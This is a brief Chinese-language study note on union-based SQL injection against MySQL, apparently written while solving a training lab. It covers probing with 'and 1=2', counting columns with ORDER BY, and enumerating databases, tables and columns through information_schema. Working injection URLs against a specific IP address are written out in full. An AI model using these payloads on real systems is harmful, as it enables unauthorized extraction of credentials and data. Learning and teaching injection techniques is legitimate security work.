思维导图

作用:可以通过恶意sql语句代码注入到数据库 查询 想要的信息 如:用户名密码
首先进行 判断是否存在注入点
and 1=1 回显正常

and 1=2 报错 存在注入点

order by 查询 从order by 1 ,order by 2 ...测试到order by 5 报错 说明存在4个字段



通过union进行联合查询 用于连接两个以上的数据库进行联合查询 (所查询的字段必须一致!故通过order by 进行提前查询字段列数)


只有union前面报错 才显示 union后边的 结果 爆出 字段
http://219.153.49.228:49619/new_list.php?id=1%20and%201=2%20union%20select%201,2,3,4

通过 user()爆出当前用户名、version()爆出mysql版本名字

通过database() 爆出当前数据库名字,通过@@version_compile_os爆出当前操作系统版本名字
注意 mysql 数据库 自从5.0以上都有一个叫做 information_schema的数据库 用来存放数据库、表、列 记录的一个数据库 可以利用
information_schema.tables:记录所有表名字信息 的表
(tables是这个数据库的这个表)
information_schema.columns:记录所有列名字信息 的表
(columns是这个数据库的这个表)
table_name:代表表名 的列名
column_name:代表列名 的列名
table_schema:代表数据库名字 的列名
http://219.153.49.228:49619/new_list.php?id=1%20and%201=2%20union%20select%201,group_concat(table_name),@@version_compile_os,4%20from%20information_schema.tables%20where%20%20table_schema=%27mozhe_Discuz_StormGroup%27
查询 table_schema列(此列代表数据库名字)为 mozhe_Discuz_StormGroup 的表名字
http://219.153.49.228:49619/new_list.php?id=1%20and%201=2%20union%20select%201,group_concat(column_name),@@version_compile_os,4%20from%20information_schema.columns%20where%20%20table_name=%27StormGroup_member%27
查询table_name列为(此列代表表名字)StormGroup_member 的列名




